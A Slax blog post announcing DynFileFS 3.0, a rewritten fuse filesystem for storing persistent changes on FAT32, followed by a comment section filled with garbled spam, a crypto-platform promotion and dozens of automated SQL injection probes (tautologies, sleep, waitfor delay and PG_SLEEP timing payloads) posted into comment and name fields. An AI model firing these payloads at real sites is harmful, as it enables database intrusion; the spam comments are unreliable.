02

January
2023

Persistent changes 10x faster in Slax

Slax is using DynFileFS for storing persistent changes if you boot from a FAT32 drive. DynFileFS is a fuse-based filesystem which I wrote 10 years ago as a quick hack, and to be honest, it was sometimes a bit slow, especially after storing several gigabytes of data.

If you noticed "changes.dat" file in Slax's /changes/ directory, this is the default storage for persistent changes, which are created by using DynFileFS.

I decided to review the code and as a result I rewrote the filesystem's internal logic completely. New DynFileFS version 3.0 is now available at github. It uses different file format on disk, so it is not backward compatible, but I believe it is worth it.

How does it work? Simply said, it provides a virtual file called "virtual.dat" after mounting it to some directory. This file can be of any specified size, like 30GB, but it does not need to pre-allocate this huge amount of disk space on mount. All changes made to this virtual file are stored in an indexed storage in a different file on disk, for example called changes.dat, and this file grows in time as your changes are made. As a result, it stores only the changes on disk, and not the free space between them.

The same effect could be achieved by using sparse file for storing changes, but unfortunately FAT32 does not support sparse files, and it is still the mostly used filesystem on USB devices.

The overhead of DynFileFS is around 2MB for each 1GB of virtual storage capacity, and each read/write operation requires only one additional seek+read in the storage file, so it is extremely fast.

I will use DynFileFS 3.0 in the next Slax release. Stay tuned. Have a nice day :)

User comments
Eusebia 2026-01-25 17:58

??????????? ?????????? ??? ?
?????? ???????????? ??????????? ??????? ? ??????????? ???????? ?????? ? ??????.
????????? ????????? ?????????, ??
????????? ???????? ?????, ?????????? ?? ?????????? ????????????.

Flynn 2026-02-01 01:07

????????? ???????????????
??????? ?? ???? ? ?????? ???????? ??? ?????? ? ?????????? ????? ??????? ????? ???????? ??????
?? ?????????? ??????????? ? ??? ??? ????????? ???????? ??????
? ???????? ??????????!

Madelaine 2026-02-06 07:54

?????????? — ????????????? ????-????,
??? ?? ?????? ?? ???? ???? ?????? ? ?????????? ??????? ?????????? aviamaster ????? ????.
???? ?????? — ????????? ??????, ??????????? ? ?????? ? ?????????
???? ??????.

Pablo 2026-02-07 06:57

????????? ??????????????? ??????? ?? ???? ? ?????? ????????
??? ?????? ? ?????????? ????? ???????? ??????? ?? ?????? ??????????? ? ???
??? ????????? ???????? ?????? ? ???????? ??????????!

daday 2026-02-19 12:38

An interesting analytical compilation of cryptocurrency platforms, reviewing over 50 projects. They compare licenses, staking conditions (bonuses), withdrawal fees, and the number of supported coins — from Bitcoin to altcoins. There's a dedicated section on platforms with instant transactions and minimal verification. I’ve saved it to keep my finger on the pulse of new tools.

lxbfYeaa 2026-02-24 19:52

555

lxbfYeaa 2026-02-24 19:52

555

lxbfYeaa 2026-02-24 19:52

555

lxbfYeaa 2026-02-24 19:53

555

lxbfYeaa 2026-02-24 19:53

555

lxbfYeaa 2026-02-24 19:53

-1" OR 5*5=25 or "9Rv6k0g0"="

lxbfYeaa 2026-02-24 19:53

-1' OR 5*5=25 or 'YaJj1QrE'='

lxbfYeaa 2026-02-24 19:53

-1" OR 5*5=25 --

lxbfYeaa 2026-02-24 19:53

-1' OR 5*5=25 --

lxbfYeaa 2026-02-24 19:53

-1 OR 5*5=25

lxbfYeaa 2026-02-24 19:53

-1 OR 5*5=25 --

lxbfYeaa 2026-02-24 19:53

555

lxbfYeaa 2026-02-24 19:53

555*if(now()=sysdate(),sleep(15),0)

lxbfYeaa 2026-02-24 19:53

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

lxbfYeaa 2026-02-24 19:53

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

lxbfYeaa 2026-02-24 19:53

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

lxbfYeaa 2026-02-24 19:53

555-1; waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555-1); waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555-1 waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555irNcggd4'; waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555-1 OR 861=(SELECT 861 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555-1) OR 230=(SELECT 230 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555-1)) OR 756=(SELECT 756 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555bG4K0l85' OR 70=(SELECT 70 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555vTFlYPXU') OR 960=(SELECT 960 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:54

555SijkxYnK')) OR 519=(SELECT 519 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:54

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

lxbfYeaa 2026-02-24 19:54

(select 198766*667891 from DUAL)

lxbfYeaa 2026-02-24 19:54

(select 198766*667891)

lxbfYeaa 2026-02-24 19:54

@@j0E3S

lxbfYeaa 2026-02-24 19:54

555????%2527%2522\'\"

lxbfYeaa 2026-02-24 19:54

555'"

lxbfYeaa 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:54

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

lxbfYeaa 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:54

555

-1 OR 5*5=25 -- 2026-02-24 19:54

555

-1 OR 5*5=25 2026-02-24 19:54

555

-1' OR 5*5=25 -- 2026-02-24 19:54

555

-1" OR 5*5=25 -- 2026-02-24 19:54

555

-1' OR 5*5=25 or 'emmDzyiJ'=' 2026-02-24 19:54

555

-1" OR 5*5=25 or "CKDwsJbJ"=" 2026-02-24 19:54

555

if(now()=sysdate(),sleep(15),0) 2026-02-24 19:54

555

lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 2026-02-24 19:54

555

lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 2026-02-24 19:54

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-02-24 19:54

555

lxbfYeaa-1 waitfor delay '0:0:15' -- 2026-02-24 19:54

555

lxbfYeaacc2XL63x'; waitfor delay '0:0:15' -- 2026-02-24 19:54

555

lxbfYeaaV7xHFTRM' OR 155=(SELECT 155 FROM PG_SLEEP(15))-- 2026-02-24 19:54

555

lxbfYeaaRM3Gq8xm') OR 192=(SELECT 192 FROM PG_SLEEP(15))-- 2026-02-24 19:54

555

lxbfYeaawDfDEd9B')) OR 817=(SELECT 817 FROM PG_SLEEP(15))-- 2026-02-24 19:54

555

lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:54

555

lxbfYeaa'" 2026-02-24 19:54

555

lxbfYeaa????%2527%2522\'\" 2026-02-24 19:54

555

@@jjsMy 2026-02-24 19:54

555

(select 198766*667891) 2026-02-24 19:54

555

(select 198766*667891 from DUAL) 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:55

555